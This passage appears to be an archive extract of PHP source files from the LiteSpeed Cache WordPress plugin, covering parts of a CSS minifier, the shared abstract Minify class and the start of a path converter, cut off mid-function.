            \s+

                # we don\'t have to check for @import url(), because the
                # condition above will already catch these

                # open path enclosure
                (?P<quotes>["\'])

                    # fetch path
                    (?P<path>.+?)

                # close path enclosure
                (?P=quotes)

            /ix',
		);

		// find all relative urls in css
		$matches = array();
		foreach ( $relativeRegexes as $relativeRegex ) {
			if ( preg_match_all( $relativeRegex, $content, $regexMatches, PREG_SET_ORDER ) ) {
				$matches = array_merge( $matches, $regexMatches );
			}
		}

		$search  = array();
		$replace = array();

		// loop all urls
		foreach ( $matches as $match ) {
			// determine if it's a url() or an @import match
			$type = ( strpos( $match[0], '@import' ) === 0 ? 'import' : 'url' );

			$url = $match['path'];
			if ( $this->canImportByPath( $url ) ) {
				// attempting to interpret GET-params makes no sense, so let's discard them for awhile
				$params = strrchr( $url, '?' );
				$url    = $params ? substr( $url, 0, -strlen( $params ) ) : $url;

				// fix relative url
				$url = $converter->convert( $url );

				// now that the path has been converted, re-apply GET-params
				$url .= $params;
			}

			/*
			 * Urls with control characters above 0x7e should be quoted.
			 * According to Mozilla's parser, whitespace is only allowed at the
			 * end of unquoted urls.
			 * Urls with `)` (as could happen with data: uris) should also be
			 * quoted to avoid being confused for the url() closing parentheses.
			 * And urls with a # have also been reported to cause issues.
			 * Urls with quotes inside should also remain escaped.
			 *
			 * @see https://developer.mozilla.org/nl/docs/Web/CSS/url#The_url()_functional_notation
			 * @see https://hg.mozilla.org/mozilla-central/rev/14abca4e7378
			 * @see https://github.com/matthiasmullie/minify/issues/193
			 */
			$url = trim( $url );
			if ( preg_match( '/[\s\)\'"#\x{7f}-\x{9f}]/u', $url ) ) {
				$url = $match['quotes'] . $url . $match['quotes'];
			}

			// build replacement
			$search[] = $match[0];
			if ( $type === 'url' ) {
				$replace[] = 'url(' . $url . ')';
			} elseif ( $type === 'import' ) {
				$replace[] = '@import "' . $url . '"';
			}
		}

		// replace urls
		return str_replace( $search, $replace, $content );
	}

	/**
	 * Shorthand HEX color codes.
	 * #FF0000FF -> #f00 -> red
	 * #FF00FF00 -> transparent.
	 *
	 * @param string $content The CSS content to shorten the HEX color codes for
	 *
	 * @return string
	 */
	protected function shortenHexColors( $content ) {
		// shorten repeating patterns within HEX ..
		$content = preg_replace( '/(?<=[: ])#([0-9a-f])\\1([0-9a-f])\\2([0-9a-f])\\3(?:([0-9a-f])\\4)?(?=[; }])/i', '#$1$2$3$4', $content );

		// remove alpha channel if it's pointless ..
		$content = preg_replace( '/(?<=[: ])#([0-9a-f]{6})ff(?=[; }])/i', '#$1', $content );
		$content = preg_replace( '/(?<=[: ])#([0-9a-f]{3})f(?=[; }])/i', '#$1', $content );

		// replace `transparent` with shortcut ..
		$content = preg_replace( '/(?<=[: ])#[0-9a-f]{6}00(?=[; }])/i', '#fff0', $content );

		$colors = array(
			// make these more readable
			'#00f'        => 'blue',
			'#dc143c'     => 'crimson',
			'#0ff'        => 'cyan',
			'#8b0000'     => 'darkred',
			'#696969'     => 'dimgray',
			'#ff69b4'     => 'hotpink',
			'#0f0'        => 'lime',
			'#fdf5e6'     => 'oldlace',
			'#87ceeb'     => 'skyblue',
			'#d8bfd8'     => 'thistle',
			// we can shorten some even more by replacing them with their color name
			'#f0ffff'     => 'azure',
			'#f5f5dc'     => 'beige',
			'#ffe4c4'     => 'bisque',
			'#a52a2a'     => 'brown',
			'#ff7f50'     => 'coral',
			'#ffd700'     => 'gold',
			'#808080'     => 'gray',
			'#008000'     => 'green',
			'#4b0082'     => 'indigo',
			'#fffff0'     => 'ivory',
			'#f0e68c'     => 'khaki',
			'#faf0e6'     => 'linen',
			'#800000'     => 'maroon',
			'#000080'     => 'navy',
			'#808000'     => 'olive',
			'#ffa500'     => 'orange',
			'#da70d6'     => 'orchid',
			'#cd853f'     => 'peru',
			'#ffc0cb'     => 'pink',
			'#dda0dd'     => 'plum',
			'#800080'     => 'purple',
			'#f00'        => 'red',
			'#fa8072'     => 'salmon',
			'#a0522d'     => 'sienna',
			'#c0c0c0'     => 'silver',
			'#fffafa'     => 'snow',
			'#d2b48c'     => 'tan',
			'#008080'     => 'teal',
			'#ff6347'     => 'tomato',
			'#ee82ee'     => 'violet',
			'#f5deb3'     => 'wheat',
			// or the other way around
			'black'       => '#000',
			'fuchsia'     => '#f0f',
			'magenta'     => '#f0f',
			'white'       => '#fff',
			'yellow'      => '#ff0',
			// and also `transparent`
			'transparent' => '#fff0',
		);

		return preg_replace_callback(
			'/(?<=[: ])(' . implode( '|', array_keys( $colors ) ) . ')(?=[; }])/i',
			function ( $match ) use ( $colors ) {
				return $colors[ strtolower( $match[0] ) ];
			},
			$content
		);
	}

	/**
	 * Convert RGB|HSL color codes.
	 * rgb(255,0,0,.5) -> rgb(255 0 0 / .5).
	 * rgb(255,0,0) -> #f00.
	 *
	 * @param string $content The CSS content to shorten the RGB color codes for
	 *
	 * @return string
	 */
	protected function convertLegacyColors( $content ) {
		/*
			https://drafts.csswg.org/css-color/#color-syntax-legacy
			https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/rgb
			https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/hsl
		*/

		// convert legacy color syntax
		$content = preg_replace( '/(rgb)a?\(\s*([0-9]{1,3}%?)\s*,\s*([0-9]{1,3}%?)\s*,\s*([0-9]{1,3}%?)\s*,\s*([0,1]?(?:\.[0-9]*)?)\s*\)/i', '$1($2 $3 $4 / $5)', $content );
		$content = preg_replace( '/(rgb)a?\(\s*([0-9]{1,3}%?)\s*,\s*([0-9]{1,3}%?)\s*,\s*([0-9]{1,3}%?)\s*\)/i', '$1($2 $3 $4)', $content );
		$content = preg_replace( '/(hsl)a?\(\s*([0-9]+(?:deg|grad|rad|turn)?)\s*,\s*([0-9]{1,3}%)\s*,\s*([0-9]{1,3}%)\s*,\s*([0,1]?(?:\.[0-9]*)?)\s*\)/i', '$1($2 $3 $4 / $5)', $content );
		$content = preg_replace( '/(hsl)a?\(\s*([0-9]+(?:deg|grad|rad|turn)?)\s*,\s*([0-9]{1,3}%)\s*,\s*([0-9]{1,3}%)\s*\)/i', '$1($2 $3 $4)', $content );

		// convert `rgb` to `hex`
		$dec = '([01]?[0-9]?[0-9]|2[0-4][0-9]|25[0-5])';
		return preg_replace_callback(
			"/rgb\($dec $dec $dec\)/i",
			function ( $match ) {
				return sprintf( '#%02x%02x%02x', $match[1], $match[2], $match[3] );
			},
			$content
		);
	}

	/**
	 * Cleanup RGB|HSL|HWB|LCH|LAB
	 * rgb(255 0 0 / 1) -> rgb(255 0 0).
	 * rgb(255 0 0 / 0) -> transparent.
	 *
	 * @param string $content The CSS content to cleanup HSL|HWB|LCH|LAB
	 *
	 * @return string
	 */
	protected function cleanupModernColors( $content ) {
		/*
			https://drafts.csswg.org/css-color/#color-syntax-modern
			https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/hwb
			https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/lch
			https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/lab
			https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/oklch
			https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/oklab
		*/
		$tag = '(rgb|hsl|hwb|(?:(?:ok)?(?:lch|lab)))';

		// remove alpha channel if it's pointless ..
		$content = preg_replace( '/' . $tag . '\(\s*([^\s]+)\s+([^\s]+)\s+([^\s]+)\s+\/\s+1(?:(?:\.\d?)*|00%)?\s*\)/i', '$1($2 $3 $4)', $content );

		// replace `transparent` with shortcut ..
		$content = preg_replace( '/' . $tag . '\(\s*[^\s]+\s+[^\s]+\s+[^\s]+\s+\/\s+0(?:[\.0%]*)?\s*\)/i', '#fff0', $content );

		return $content;
	}

	/**
	 * Shorten CSS font weights.
	 *
	 * @param string $content The CSS content to shorten the font weights for
	 *
	 * @return string
	 */
	protected function shortenFontWeights( $content ) {
		$weights = array(
			'normal' => 400,
			'bold'   => 700,
		);

		$callback = function ( $match ) use ( $weights ) {
			return $match[1] . $weights[ $match[2] ];
		};

		return preg_replace_callback( '/(font-weight\s*:\s*)(' . implode( '|', array_keys( $weights ) ) . ')(?=[;}])/', $callback, $content );
	}

	/**
	 * Shorthand 0 values to plain 0, instead of e.g. -0em.
	 *
	 * @param string $content The CSS content to shorten the zero values for
	 *
	 * @return string
	 */
	protected function shortenZeroes( $content ) {
		// we don't want to strip units in `calc()` expressions:
		// `5px - 0px` is valid, but `5px - 0` is not
		// `10px * 0` is valid (equates to 0), and so is `10 * 0px`, but
		// `10 * 0` is invalid
		// we've extracted calcs earlier, so we don't need to worry about this

		// reusable bits of code throughout these regexes:
		// before & after are used to make sure we don't match lose unintended
		// 0-like values (e.g. in #000, or in http://url/1.0)
		// units can be stripped from 0 values, or used to recognize non 0
		// values (where wa may be able to strip a .0 suffix)
		$before = '(?<=[:(, ])';
		$after  = '(?=[ ,);}])';
		$units  = '(em|ex|%|px|cm|mm|in|pt|pc|ch|rem|vh|vw|vmin|vmax|vm)';

		// strip units after zeroes (0px -> 0)
		// NOTE: it should be safe to remove all units for a 0 value, but in
		// practice, Webkit (especially Safari) seems to stumble over at least
		// 0%, potentially other units as well. Only stripping 'px' for now.
		// @see https://github.com/matthiasmullie/minify/issues/60
		$content = preg_replace( '/' . $before . '(-?0*(\.0+)?)(?<=0)px' . $after . '/', '\\1', $content );

		// strip 0-digits (.0 -> 0)
		$content = preg_replace( '/' . $before . '\.0+' . $units . '?' . $after . '/', '0\\1', $content );
		// strip trailing 0: 50.10 -> 50.1, 50.10px -> 50.1px
		$content = preg_replace( '/' . $before . '(-?[0-9]+\.[0-9]+)0+' . $units . '?' . $after . '/', '\\1\\2', $content );
		// strip trailing 0: 50.00 -> 50, 50.00px -> 50px
		$content = preg_replace( '/' . $before . '(-?[0-9]+)\.0+' . $units . '?' . $after . '/', '\\1\\2', $content );
		// strip leading 0: 0.1 -> .1, 01.1 -> 1.1
		$content = preg_replace( '/' . $before . '(-?)0+([0-9]*\.[0-9]+)' . $units . '?' . $after . '/', '\\1\\2\\3', $content );

		// strip negative zeroes (-0 -> 0) & truncate zeroes (00 -> 0)
		$content = preg_replace( '/' . $before . '-?0+' . $units . '?' . $after . '/', '0\\1', $content );

		// IE doesn't seem to understand a unitless flex-basis value (correct -
		// it goes against the spec), so let's add it in again (make it `%`,
		// which is only 1 char: 0%, 0px, 0 anything, it's all just the same)
		// @see https://developer.mozilla.org/nl/docs/Web/CSS/flex
		$content = preg_replace( '/flex:([0-9]+\s[0-9]+\s)0([;\}])/', 'flex:${1}0%${2}', $content );
		$content = preg_replace( '/flex-basis:0([;\}])/', 'flex-basis:0%${1}', $content );

		return $content;
	}

	/**
	 * Strip empty tags from source code.
	 *
	 * @param string $content
	 *
	 * @return string
	 */
	protected function stripEmptyTags( $content ) {
		$content = preg_replace( '/(?<=^)[^\{\};]+\{\s*\}/', '', $content );
		$content = preg_replace( '/(?<=(\}|;))[^\{\};]+\{\s*\}/', '', $content );

		return $content;
	}

	/**
	 * Strip comments from source code.
	 */
	protected function stripComments() {
		$this->stripMultilineComments();
	}

	/**
	 * Strip whitespace.
	 *
	 * @param string $content The CSS content to strip the whitespace for
	 *
	 * @return string
	 */
	protected function stripWhitespace( $content ) {
		// remove leading & trailing whitespace
		$content = preg_replace( '/^\s*/m', '', $content );
		$content = preg_replace( '/\s*$/m', '', $content );

		// replace newlines with a single space
		$content = preg_replace( '/\s+/', ' ', $content );

		// remove whitespace around meta characters
		// inspired by stackoverflow.com/questions/15195750/minify-compress-css-with-regex
		$content = preg_replace( '/\s*([\*$~^|]?+=|[{};,>~]|!important\b)\s*/', '$1', $content );
		$content = preg_replace( '/([\[(:>\+])\s+/', '$1', $content );
		$content = preg_replace( '/\s+([\]\)>\+])/', '$1', $content );
		$content = preg_replace( '/\s+(:)(?![^\}]*\{)/', '$1', $content );

		// whitespace around + and - can only be stripped inside some pseudo-
		// classes, like `:nth-child(3+2n)`
		// not in things like `calc(3px + 2px)`, shorthands like `3px -2px`, or
		// selectors like `div.weird- p`
		$pseudos = array( 'nth-child', 'nth-last-child', 'nth-last-of-type', 'nth-of-type' );
		$content = preg_replace( '/:(' . implode( '|', $pseudos ) . ')\(\s*([+-]?)\s*(.+?)\s*([+-]?)\s*(.*?)\s*\)/', ':$1($2$3$4$5)', $content );

		// remove semicolon/whitespace followed by closing bracket
		$content = str_replace( ';}', '}', $content );

		return trim( $content );
	}

	/**
	 * Replace all occurrences of functions that may contain math, where
	 * whitespace around operators needs to be preserved (e.g. calc, clamp).
	 */
	protected function extractMath() {
		$functions = array( 'calc', 'clamp', 'min', 'max' );
		$pattern   = '/\b(' . implode( '|', $functions ) . ')(\(.+?)(?=$|;|})/m';

		// PHP only supports $this inside anonymous functions since 5.4
		$minifier = $this;
		$callback = function ( $match ) use ( $minifier, $pattern, &$callback ) {
			$function = $match[1];
			$length   = strlen( $match[2] );
			$expr     = '';
			$opened   = 0;

			// the regular expression for extracting math has 1 significant problem:
			// it can't determine the correct closing parenthesis...
			// instead, it'll match a larger portion of code to where it's certain that
			// the calc() musts have ended, and we'll figure out which is the correct
			// closing parenthesis here, by counting how many have opened
			for ( $i = 0; $i < $length; ++$i ) {
				$char  = $match[2][ $i ];
				$expr .= $char;
				if ( $char === '(' ) {
					++$opened;
				} elseif ( $char === ')' && --$opened === 0 ) {
					break;
				}
			}

			// now that we've figured out where the calc() starts and ends, extract it
			$count                               = count( $minifier->extracted );
			$placeholder                         = 'math(' . $count . ')';
			$minifier->extracted[ $placeholder ] = $function . '(' . trim( substr( $expr, 1, -1 ) ) . ')';

			// and since we've captured more code than required, we may have some leftover
			// calc() in here too - go recursive on the remaining but of code to go figure
			// that out and extract what is needed
			$rest = $minifier->str_replace_first( $function . $expr, '', $match[0] );
			$rest = preg_replace_callback( $pattern, $callback, $rest );

			return $placeholder . $rest;
		};

		$this->registerPattern( $pattern, $callback );
	}

	/**
	 * Replace custom properties, whose values may be used in scenarios where
	 * we wouldn't want them to be minified (e.g. inside calc).
	 */
	protected function extractCustomProperties() {
		// PHP only supports $this inside anonymous functions since 5.4
		$minifier = $this;
		$this->registerPattern(
			'/(?<=^|[;}{])\s*(--[^:;{}"\'\s]+)\s*:([^;{}]+)/m',
			function ( $match ) use ( $minifier ) {
				$placeholder                         = '--custom-' . count( $minifier->extracted ) . ':0';
				$minifier->extracted[ $placeholder ] = $match[1] . ':' . trim( $match[2] );

				return $placeholder;
			}
		);
	}

	/**
	 * Check if file is small enough to be imported.
	 *
	 * @param string $path The path to the file
	 *
	 * @return bool
	 */
	protected function canImportBySize( $path ) {
		return ( $size = @filesize( $path ) ) && $size <= $this->maxImportSize * 1024;
	}

	/**
	 * Check if file a file can be imported, going by the path.
	 *
	 * @param string $path
	 *
	 * @return bool
	 */
	protected function canImportByPath( $path ) {
		return preg_match( '/^(data:|https?:|\\/)/', $path ) === 0;
	}

	/**
	 * Return a converter to update relative paths to be relative to the new
	 * destination.
	 *
	 * @param string $source
	 * @param string $target
	 *
	 * @return ConverterInterface
	 */
	protected function getPathConverter( $source, $target ) {
		return new Converter( $source, $target );
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/lib/css_js_min/minify/minify.cls.php000064400000035626151031165260023257 0ustar00<?php
// phpcs:ignoreFile
/**
 * modified PHP implementation of Matthias Mullie's Abstract minifier class.
 *
 * @author Matthias Mullie <minify@mullie.eu>
 * @copyright Copyright (c) 2012, Matthias Mullie. All rights reserved
 * @license MIT License
 */

namespace LiteSpeed\Lib\CSS_JS_MIN\Minify;

use LiteSpeed\Lib\CSS_JS_MIN\Minify\Exception\IOException;

defined( 'WPINC' ) || exit;

abstract class Minify {

	/**
	 * The data to be minified.
	 *
	 * @var string[]
	 */
	protected $data = array();

	/**
	 * Array of patterns to match.
	 *
	 * @var string[]
	 */
	protected $patterns = array();

	/**
	 * This array will hold content of strings and regular expressions that have
	 * been extracted from the JS source code, so we can reliably match "code",
	 * without having to worry about potential "code-like" characters inside.
	 *
	 * @internal
	 *
	 * @var string[]
	 */
	public $extracted = array();

	/**
	 * Init the minify class - optionally, code may be passed along already.
	 */
	public function __construct( /* $data = null, ... */ ) {
		// it's possible to add the source through the constructor as well ;)
		if ( func_num_args() ) {
			call_user_func_array( array( $this, 'add' ), func_get_args() );
		}
	}

	/**
	 * Add a file or straight-up code to be minified.
	 *
	 * @param string|string[] $data
	 *
	 * @return static
	 */
	public function add( $data /* $data = null, ... */ ) {
		// bogus "usage" of parameter $data: scrutinizer warns this variable is
		// not used (we're using func_get_args instead to support overloading),
		// but it still needs to be defined because it makes no sense to have
		// this function without argument :)
		$args = array( $data ) + func_get_args();

		// this method can be overloaded
		foreach ( $args as $data ) {
			if ( is_array( $data ) ) {
				call_user_func_array( array( $this, 'add' ), $data );
				continue;
			}

			// redefine var
			$data = (string) $data;

			// load data
			$value = $this->load( $data );
			$key   = ( $data != $value ) ? $data : count( $this->data );

			// replace CR linefeeds etc.
			// @see https://github.com/matthiasmullie/minify/pull/139
			$value = str_replace( array( "\r\n", "\r" ), "\n", $value );

			// store data
			$this->data[ $key ] = $value;
		}

		return $this;
	}

	/**
	 * Add a file to be minified.
	 *
	 * @param string|string[] $data
	 *
	 * @return static
	 *
	 * @throws IOException
	 */
	public function addFile( $data /* $data = null, ... */ ) {
		// bogus "usage" of parameter $data: scrutinizer warns this variable is
		// not used (we're using func_get_args instead to support overloading),
		// but it still needs to be defined because it makes no sense to have
		// this function without argument :)
		$args = array( $data ) + func_get_args();

		// this method can be overloaded
		foreach ( $args as $path ) {
			if ( is_array( $path ) ) {
				call_user_func_array( array( $this, 'addFile' ), $path );
				continue;
			}

			// redefine var
			$path = (string) $path;

			// check if we can read the file
			if ( ! $this->canImportFile( $path ) ) {
				throw new IOException( 'The file "' . $path . '" could not be opened for reading. Check if PHP has enough permissions.' );
			}

			$this->add( $path );
		}

		return $this;
	}

	/**
	 * Minify the data & (optionally) saves it to a file.
	 *
	 * @param string[optional] $path Path to write the data to
	 *
	 * @return string The minified data
	 */
	public function minify( $path = null ) {
		$content = $this->execute( $path );

		// save to path
		if ( $path !== null ) {
			$this->save( $content, $path );
		}

		return $content;
	}

	/**
	 * Minify & gzip the data & (optionally) saves it to a file.
	 *
	 * @param string[optional] $path  Path to write the data to
	 * @param int[optional]    $level Compression level, from 0 to 9
	 *
	 * @return string The minified & gzipped data
	 */
	public function gzip( $path = null, $level = 9 ) {
		$content = $this->execute( $path );
		$content = gzencode( $content, $level, FORCE_GZIP );

		// save to path
		if ( $path !== null ) {
			$this->save( $content, $path );
		}

		return $content;
	}


	/**
	 * Minify the data.
	 *
	 * @param string[optional] $path Path to write the data to
	 *
	 * @return string The minified data
	 */
	abstract public function execute( $path = null );

	/**
	 * Load data.
	 *
	 * @param string $data Either a path to a file or the content itself
	 *
	 * @return string
	 */
	protected function load( $data ) {
		// check if the data is a file
		if ( $this->canImportFile( $data ) ) {
			$data = file_get_contents( $data );

			// strip BOM, if any
			if ( substr( $data, 0, 3 ) == "\xef\xbb\xbf" ) {
				$data = substr( $data, 3 );
			}
		}

		return $data;
	}

	/**
	 * Save to file.
	 *
	 * @param string $content The minified data
	 * @param string $path    The path to save the minified data to
	 *
	 * @throws IOException
	 */
	protected function save( $content, $path ) {
		$handler = $this->openFileForWriting( $path );

		$this->writeToFile( $handler, $content );

		@fclose( $handler );
	}

	/**
	 * Register a pattern to execute against the source content.
	 *
	 * If $replacement is a string, it must be plain text. Placeholders like $1 or \2 don't work.
	 * If you need that functionality, use a callback instead.
	 *
	 * @param string          $pattern     PCRE pattern
	 * @param string|callable $replacement Replacement value for matched pattern
	 */
	protected function registerPattern( $pattern, $replacement = '' ) {
		// study the pattern, we'll execute it more than once
		$pattern .= 'S';

		$this->patterns[] = array( $pattern, $replacement );
	}

	/**
	 * Both JS and CSS use the same form of multi-line comment, so putting the common code here.
	 */
	protected function stripMultilineComments() {
		// First extract comments we want to keep, so they can be restored later
		// PHP only supports $this inside anonymous functions since 5.4
		$minifier = $this;
		$callback = function ( $match ) use ( $minifier ) {
			$count                               = count( $minifier->extracted );
			$placeholder                         = '/*' . $count . '*/';
			$minifier->extracted[ $placeholder ] = $match[0];

			return $placeholder;
		};
		$this->registerPattern(
			'/
            # optional newline
            \n?

            # start comment
            \/\*

            # comment content
            (?:
                # either starts with an !
                !
            |
                # or, after some number of characters which do not end the comment
                (?:(?!\*\/).)*?

                # there is either a @license or @preserve tag
                @(?:license|preserve)
            )

            # then match to the end of the comment
            .*?\*\/\n?

            /ixs',
			$callback
		);

		// Then strip all other comments
		$this->registerPattern( '/\/\*.*?\*\//s', '' );
	}

	/**
	 * We can't "just" run some regular expressions against JavaScript: it's a
	 * complex language. E.g. having an occurrence of // xyz would be a comment,
	 * unless it's used within a string. Of you could have something that looks
	 * like a 'string', but inside a comment.
	 * The only way to accurately replace these pieces is to traverse the JS one
	 * character at a time and try to find whatever starts first.
	 *
	 * @param string $content The content to replace patterns in
	 *
	 * @return string The (manipulated) content
	 */
	protected function replace( $content ) {
		$contentLength   = strlen( $content );
		$output          = '';
		$processedOffset = 0;
		$positions       = array_fill( 0, count( $this->patterns ), -1 );
		$matches         = array();

		while ( $processedOffset < $contentLength ) {
			// find first match for all patterns
			foreach ( $this->patterns as $i => $pattern ) {
				list($pattern, $replacement) = $pattern;

				// we can safely ignore patterns for positions we've unset earlier,
				// because we know these won't show up anymore
				if ( array_key_exists( $i, $positions ) == false ) {
					continue;
				}

				// no need to re-run matches that are still in the part of the
				// content that hasn't been processed
				if ( $positions[ $i ] >= $processedOffset ) {
					continue;
				}

				$match = null;
				if ( preg_match( $pattern, $content, $match, PREG_OFFSET_CAPTURE, $processedOffset ) ) {
					$matches[ $i ] = $match;

					// we'll store the match position as well; that way, we
					// don't have to redo all preg_matches after changing only
					// the first (we'll still know where those others are)
					$positions[ $i ] = $match[0][1];
				} else {
					// if the pattern couldn't be matched, there's no point in
					// executing it again in later runs on this same content;
					// ignore this one until we reach end of content
					unset( $matches[ $i ], $positions[ $i ] );
				}
			}

			// no more matches to find: everything's been processed, break out
			if ( ! $matches ) {
				// output the remaining content
				$output .= substr( $content, $processedOffset );
				break;
			}

			// see which of the patterns actually found the first thing (we'll
			// only want to execute that one, since we're unsure if what the
			// other found was not inside what the first found)
			$matchOffset  = min( $positions );
			$firstPattern = array_search( $matchOffset, $positions );
			$match        = $matches[ $firstPattern ];

			// execute the pattern that matches earliest in the content string
			list(, $replacement) = $this->patterns[ $firstPattern ];

			// add the part of the input between $processedOffset and the first match;
			// that content wasn't matched by anything
			$output .= substr( $content, $processedOffset, $matchOffset - $processedOffset );
			// add the replacement for the match
			$output .= $this->executeReplacement( $replacement, $match );
			// advance $processedOffset past the match
			$processedOffset = $matchOffset + strlen( $match[0][0] );
		}

		return $output;
	}

	/**
	 * If $replacement is a callback, execute it, passing in the match data.
	 * If it's a string, just pass it through.
	 *
	 * @param string|callable $replacement Replacement value
	 * @param array           $match       Match data, in PREG_OFFSET_CAPTURE form
	 *
	 * @return string
	 */
	protected function executeReplacement( $replacement, $match ) {
		if ( ! is_callable( $replacement ) ) {
			return $replacement;
		}
		// convert $match from the PREG_OFFSET_CAPTURE form to the form the callback expects
		foreach ( $match as &$matchItem ) {
			$matchItem = $matchItem[0];
		}

		return $replacement( $match );
	}

	/**
	 * Strings are a pattern we need to match, in order to ignore potential
	 * code-like content inside them, but we just want all of the string
	 * content to remain untouched.
	 *
	 * This method will replace all string content with simple STRING#
	 * placeholder text, so we've rid all strings from characters that may be
	 * misinterpreted. Original string content will be saved in $this->extracted
	 * and after doing all other minifying, we can restore the original content
	 * via restoreStrings().
	 *
	 * @param string[optional] $chars
	 * @param string[optional] $placeholderPrefix
	 */
	protected function extractStrings( $chars = '\'"', $placeholderPrefix = '' ) {
		// PHP only supports $this inside anonymous functions since 5.4
		$minifier = $this;
		$callback = function ( $match ) use ( $minifier, $placeholderPrefix ) {
			// check the second index here, because the first always contains a quote
			if ( $match[2] === '' ) {
				/*
				 * Empty strings need no placeholder; they can't be confused for
				 * anything else anyway.
				 * But we still needed to match them, for the extraction routine
				 * to skip over this particular string.
				 */
				return $match[0];
			}

			$count                               = count( $minifier->extracted );
			$placeholder                         = $match[1] . $placeholderPrefix . $count . $match[1];
			$minifier->extracted[ $placeholder ] = $match[1] . $match[2] . $match[1];

			return $placeholder;
		};

		/*
		 * The \\ messiness explained:
		 * * Don't count ' or " as end-of-string if it's escaped (has backslash
		 * in front of it)
		 * * Unless... that backslash itself is escaped (another leading slash),
		 * in which case it's no longer escaping the ' or "
		 * * So there can be either no backslash, or an even number
		 * * multiply all of that times 4, to account for the escaping that has
		 * to be done to pass the backslash into the PHP string without it being
		 * considered as escape-char (times 2) and to get it in the regex,
		 * escaped (times 2)
		 */
		$this->registerPattern( '/([' . $chars . '])(.*?(?<!\\\\)(\\\\\\\\)*+)\\1/s', $callback );
	}

	/**
	 * This method will restore all extracted data (strings, regexes) that were
	 * replaced with placeholder text in extract*(). The original content was
	 * saved in $this->extracted.
	 *
	 * @param string $content
	 *
	 * @return string
	 */
	protected function restoreExtractedData( $content ) {
		if ( ! $this->extracted ) {
			// nothing was extracted, nothing to restore
			return $content;
		}

		$content = strtr( $content, $this->extracted );

		$this->extracted = array();

		return $content;
	}

	/**
	 * Check if the path is a regular file and can be read.
	 *
	 * @param string $path
	 *
	 * @return bool
	 */
	protected function canImportFile( $path ) {
		$parsed = parse_url( $path );
		if (
			// file is elsewhere
			isset( $parsed['host'] )
			// file responds to queries (may change, or need to bypass cache)
			|| isset( $parsed['query'] )
		) {
			return false;
		}

		try {
			return strlen( $path ) < PHP_MAXPATHLEN && @is_file( $path ) && is_readable( $path );
		}
		// catch openbasedir exceptions which are not caught by @ on is_file()
		catch ( \Exception $e ) {
			return false;
		}
	}

	/**
	 * Attempts to open file specified by $path for writing.
	 *
	 * @param string $path The path to the file
	 *
	 * @return resource Specifier for the target file
	 *
	 * @throws IOException
	 */
	protected function openFileForWriting( $path ) {
		if ( $path === '' || ( $handler = @fopen( $path, 'w' ) ) === false ) {
			throw new IOException( 'The file "' . $path . '" could not be opened for writing. Check if PHP has enough permissions.' );
		}

		return $handler;
	}

	/**
	 * Attempts to write $content to the file specified by $handler. $path is used for printing exceptions.
	 *
	 * @param resource $handler The resource to write to
	 * @param string   $content The content to write
	 * @param string   $path    The path to the file (for exception printing only)
	 *
	 * @throws IOException
	 */
	protected function writeToFile( $handler, $content, $path = '' ) {
		if (
			! is_resource( $handler )
			|| ( $result = @fwrite( $handler, $content ) ) === false
			|| ( $result < strlen( $content ) )
		) {
			throw new IOException( 'The file "' . $path . '" could not be written to. Check your disk space and file permissions.' );
		}
	}

	protected static function str_replace_first( $search, $replace, $subject ) {
		$pos = strpos( $subject, $search );
		if ( $pos !== false ) {
			return substr_replace( $subject, $replace, $pos, strlen( $search ) );
		}

		return $subject;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/lib/css_js_min/pathconverter/converter.cls.php000064400000012600151031165260025347 0ustar00<?php
// phpcs:ignoreFile
/**
 * modified PHP implementation of Matthias Mullie's convert path class
 * Convert paths relative from 1 file to another.
 *
 * E.g.
 *     ../../images/icon.jpg relative to /css/imports/icons.css
 * becomes
 *     ../images/icon.jpg relative to /css/minified.css
 *
 * @author Matthias Mullie <pathconverter@mullie.eu>
 * @copyright Copyright (c) 2015, Matthias Mullie. All rights reserved
 * @license MIT License
 */

namespace LiteSpeed\Lib\CSS_JS_MIN\PathConverter;

defined( 'WPINC' ) || exit;

interface ConverterInterface {

	/**
	 * Convert file paths.
	 *
	 * @param string $path The path to be converted
	 *
	 * @return string The new path
	 */
	public function convert( $path );
}

class Converter implements ConverterInterface {

	/**
	 * @var string
	 */
	protected $from;

	/**
	 * @var string
	 */
	protected $to;

	/**
	 * @param string $from The original base path (directory, not file!)
	 * @param string $to   The new base path (directory, not file!)
	 * @param string $root Root directory (defaults to `getcwd`)
	 */
	public function __construct( $from, $to, $root = '' ) {
		$shared = $this->shared( $from, $to );
		if ( $shared === '' ) {
			// when both paths have nothing in common, one of them is probably
			// absolute while the other is relative
			$root = $root ?: getcwd();
			$from = strpos( $from, $root ) === 0 ? $from : preg_replace( '/\/+/', '/', $root . '/' . $from );
			$to   = strpos( $to, $root ) === 0 ? $to : preg_replace( '/\/+/', '/', $root . '/' . $to );

			// or traveling the tree via `..`
			// attempt to resolve path, or assume it's fine if it doesn't exist
			$from = @realpath( $from ) ?: $from;
			$to   = @realpath( $to ) ?: $to;
		}

		$from = $this->dirname( $from );
		$to   = $this->dirname( $to );

		$from = $this->normalize( $from );
		$to   = $this->normalize( $to );

		$this->from = $from;
		$this->to   = $to;
	}

	/**
	 * Normalize path.
	 *
	 * @param string $path
	 *
	 * @return string
	 */
	protected function normalize( $path ) {
		// deal with different operating systems' directory structure
		$path = rtrim( str_replace( DIRECTORY_SEPARATOR, '/', $path ), '/' );

		// remove leading current directory.
		if ( substr( $path, 0, 2 ) === './' ) {
			$path = substr( $path, 2 );
		}

		// remove references to current directory in the path.
		$path = str_replace( '/./', '/', $path );

		/*
		 * Example:
		 *     /home/forkcms/frontend/cache/compiled_templates/../../core/layout/css/../images/img.gif
		 * to
		 *     /home/forkcms/frontend/core/layout/images/img.gif
		 */
		do {
			$path = preg_replace( '/[^\/]+(?<!\.\.)\/\.\.\//', '', $path, -1, $count );
		} while ( $count );

		return $path;
	}

	/**
	 * Figure out the shared path of 2 locations.
	 *
	 * Example:
	 *     /home/forkcms/frontend/core/layout/images/img.gif
	 * and
	 *     /home/forkcms/frontend/cache/minified_css
	 * share
	 *     /home/forkcms/frontend
	 *
	 * @param string $path1
	 * @param string $path2
	 *
	 * @return string
	 */
	protected function shared( $path1, $path2 ) {
